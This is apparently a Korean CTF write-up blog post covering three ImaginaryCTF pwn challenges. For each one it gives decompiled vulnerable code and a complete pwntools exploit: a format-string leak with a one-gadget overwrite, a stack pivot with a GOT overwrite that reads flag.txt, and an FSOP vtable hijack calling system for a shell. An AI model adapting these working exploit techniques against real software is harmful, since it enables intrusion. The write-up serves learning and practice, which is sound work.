[ solved ]
pwn / imgstore
더보기
바이너리는 좀 긴데 리네이밍하면서 보니 취약한 부분은 한정되어 있었다.
3번 메뉴인 sell 함수에서 fsb 트리거할 수 있고
feedbeef 조건 맞춰주면 bof를 트리거할 수 있다.
근데 bof는 트리거 해도 fgets가 작동을 안한다.
(왜 그런진 모르겠음)
그래서 그냥 리턴 주소를 원가젯으로 덮어서 쉘 땄다.
unsigned __int64 sell()
{
char v1; // [rsp+7h] [rbp-59h] BYREF
int buf; // [rsp+8h] [rbp-58h] BYREF
int fd; // [rsp+Ch] [rbp-54h]
char title[72]; // [rsp+10h] [rbp-50h] BYREF
unsigned __int64 v5; // [rsp+58h] [rbp-8h]
v5 = __readfsqword(0x28u);
fd = open("/dev/urandom", 0);
read(fd, &buf, 4uLL);
close(fd);
buf = (unsigned __int16)buf;
do
{
printf("Enter book title: ");
fgets(title, 0x32, stdin);
printf("Book title --> ");
printf(title); // fsb
puts(&s);
if ( 0x13F5C223 * buf == feedbeef )
{
dword_608C = 2;
bof(2);
}
puts("Sorry, we already have the same title as yours in our database; give me another book title.");
printf("Still interested in selling your book? [y/n]: ");
__isoc99_scanf("%1c", &v1);
getchar();
}
while ( v1 == 'y' );
puts(&s);
printf("%s[-] Exiting program..%s\n", "\x1B[31m", "\x1B[0m");
sleep(1u);
return __readfsqword(0x28u) ^ v5;
}
unsigned __int64 __fastcall bof(int a1)
{
char s[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v3; // [rsp+78h] [rbp-8h]
v3 = __readfsqword(0x28u);
logo2();
if ( a1 == 2 )
{
printf("%s[/] UNDER DEVELOPMENT %s\n", "\x1B[44m", "\x1B[0m");
putchar('>');
fgets(s, 0xA0, stdin); // bof
}
else
{
printf("%s[!] SECURITY BREACH DETECTED%s\n", "\x1B[41m", "\x1B[0m");
puts("[+] BAD HACKER!!");
}
return __readfsqword(0x28u) ^ v3;
}
from pwn import *
# context.log_level = 'debug'
context.arch = 'amd64'
def sell(title):
p.sendlineafter(b'title:',title)
p.recvuntil(b'Book title --> ')
data = p.recvline()[:-1]
p.sendlineafter(b'[y/n]: ',b'y')
return data
p = process('./imgstore')
p = remote('imgstore.chal.imaginaryctf.org', 1337)
p.sendlineafter(b'>> ',b'3')
stack = int(sell(b'%15$p'),16)
print('stack', hex(stack))
canary = int(sell(b'%17$p'),16)
print('canary', hex(canary))
libc = int(sell(b'%25$p'),16) - 0x24083
print('libc', hex(libc))
one = [0xe3afe,0xe3b01,0xe3b04]
og = libc + one[1]
magic = int(sell(b'%7$p'),16) & 0xffffffff
magic *= 0x13F5C223
print('magic', hex(magic))
pie = int(sell(b'%14$p'),16) - 0x22b0
print('pie', hex(pie))
sell(fmtstr_payload(8, {stack-0x18:og&0xff}, write_size='byte'))
sell(fmtstr_payload(8, {stack-0x17:(og>>8)&0xff}, write_size='byte'))
sell(fmtstr_payload(8, {stack-0x16:(og>>16)&0xff}, write_size='byte'))
sell(fmtstr_payload(8, {stack-0x15:(og>>24)&0xff}, write_size='byte'))
sell(fmtstr_payload(8, {stack-0x14:(og>>32)&0xff}, write_size='byte'))
sell(fmtstr_payload(8, {stack-0x13:(og>>40)&0xff}, write_size='byte'))
p.sendlineafter(b'title:',b'title')
p.sendlineafter(b'[y/n]: ',b'n')
p.interactive()
pwn / ropity
더보기
fgets를 한 번만 할 수 있다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[8]; // [rsp+8h] [rbp-8h] BYREF
return (unsigned int)fgets(s, 0x100, _bss_start);
}
문제 설명에 플래그 파일 이름이 "flag.txt"인 것을 알려줬고 printfile이라는 함수가 있는 것으로 보아
이걸 이용해 플래그를 읽어내야 함을 추측할 수 있다.
signed __int64 __fastcall printfile(const char *a1, __int64 a2, int a3)
{
int v3; // esi
size_t v4; // r10
v3 = sys_open(a1, 0, a3);
return sys_sendfile(1, v3, 0LL, v4);
}
두 함수의 어셈을 보면서 문제를 풀었다.
.text:0000000000401136 public main
.text:0000000000401136 main proc near ; DATA XREF: _start+18↑o
.text:0000000000401136
.text:0000000000401136 s = byte ptr -8
.text:0000000000401136
.text:0000000000401136 ; __unwind {
.text:0000000000401136 endbr64
.text:000000000040113A push rbp
.text:000000000040113B mov rbp, rsp
.text:000000000040113E sub rsp, 10h
.text:0000000000401142 mov rdx, cs:__bss_start ; stream
.text:0000000000401149 lea rax, [rbp+s]
.text:000000000040114D mov esi, 100h ; n
.text:0000000000401152 mov rdi, rax ; s
.text:0000000000401155 call _fgets
.text:000000000040115A nop
.text:000000000040115B leave
.text:000000000040115C retn
.text:000000000040115D public printfile
.text:000000000040115D printfile proc near
.text:000000000040115D
.text:000000000040115D var_8 = qword ptr -8
.text:000000000040115D
.text:000000000040115D ; __unwind {
.text:000000000040115D endbr64
.text:0000000000401161 push rbp
.text:0000000000401162 mov rbp, rsp
.text:0000000000401165 mov [rbp+var_8], rdi
.text:0000000000401169 mov rax, 2
.text:0000000000401170 mov rsi, 0 ; flags
.text:0000000000401177 syscall ; LINUX - sys_open
.text:0000000000401179 mov rsi, rax ; in_fd
.text:000000000040117C mov rdi, 1 ; out_fd
.text:0000000000401183 mov rdx, 0 ; offset
.text:000000000040118A mov r8, 100h
.text:0000000000401191 mov rax, 28h ; '('
.text:0000000000401198 syscall ; LINUX - sys_sendfile
.text:000000000040119A nop
.text:000000000040119B pop rbp
.text:000000000040119C retn
스탯 피봇팅으로 got overwrite를 수행해서 fgets를 printfile 함수 중간으로 바꿔서 문제를 풀었다.
from pwn import *
# context.log_level = 'debug'
# p = process('./vuln')
p = remote('ropity.chal.imaginaryctf.org', 1337)
main = 0x401142
printfile = 0x401165
pay = b'A'*8 + p64(0x404020) + p64(main)
p.sendline(pay)
pay = p64(printfile+4) + p64(0x404038) + p64(0x401149) + b'flag.txt\x00'
p.sendline(pay)
p.interactive()
pwn / onewrite
더보기
한 번만 쓸 수 있고 2.35이면서 full relro 보호기법이라서 뭔가 fsop인 것 같긴했다.
pwn.college에서 실습했던 _io_wfile_vtable을 오버라이트하는 방법으로 익스했다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *s; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v6; // [rsp+8h] [rbp-8h]
v6 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(_bss_start, 0LL);
printf("%p\n> ", &printf);
__isoc99_scanf("%p%*c", &s);
fgets(s, 0x300, stdin);
puts("bye");
return v6 - __readfsqword(0x28u);
}
원가젯 조건 안맞아서 system 함수 써야 했는데 rdi 인자로 들어가는 부분이 flag 필드다.
"/bin/sh"로 하니까 세그 폴트 나버려서 어떻게 할지 고민하다가
다른 씨텝 라업 보다가 " sh"로 문자열 앞에 공백을 주는 것을 보고 그대로 적용했는데 쉘 따져서 신기했다.
from pwn import *
# p = process('./vuln')
libc = ELF('./libc.so.6')
p = remote('onewrite.chal.imaginaryctf.org', 1337)
p.recvline()
printf = int(p.recvline()[:-1],16)
libc_base = printf - libc.symbols['printf']
target = libc_base + libc.symbols['_IO_2_1_stdout_']
print('[stdout]',hex(target))
# gdb.attach(p)
# pause()
p.sendlineafter(b'>',hex(target))
io_wfile_jumps = libc_base + libc.symbols['_IO_wfile_jumps']
io_wfile_overflow = io_wfile_jumps + 0x18
fake_vtable = io_wfile_overflow - 0x38
print('[libc_base]',hex(libc_base))
print('[fake_vtable]',hex(fake_vtable))
one = [0xebcf1,0xebcf5,0xebcf8,0xebd52,0xebda8,0xebdaf,0xebdb3]
og = libc_base + one[0]
print('[og]',hex(og))
system = libc_base + libc.symbols['system']
pay = b' sh'+b'\x00'*5
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(target+0x80)
pay += p64(0)*2
pay += p64(target)
pay += p64(0)*6
pay += p64(fake_vtable)
pay += p64(target+0x80)
pay += p64(system)
p.sendline(pay)
p.interactive()
[ unsolved ]
나머진 라업 보고 작성을 할 수도 안 할 수도..
'CTF' 카테고리의 다른 글
SEKAI CTF 2024 (Pwn) - nolibc (0) | 2024.08.26 |
---|---|
DeadSec CTF 2024 (Pwn) (0) | 2024.07.28 |
DownUnderCTF 2024 (Pwn) (0) | 2024.07.08 |
[hxpCTF 2020] kernel-rop (with write-up) (2) (0) | 2024.06.30 |
[hxpCTF 2020] kernel-rop (with write-up) (1) (0) | 2024.06.22 |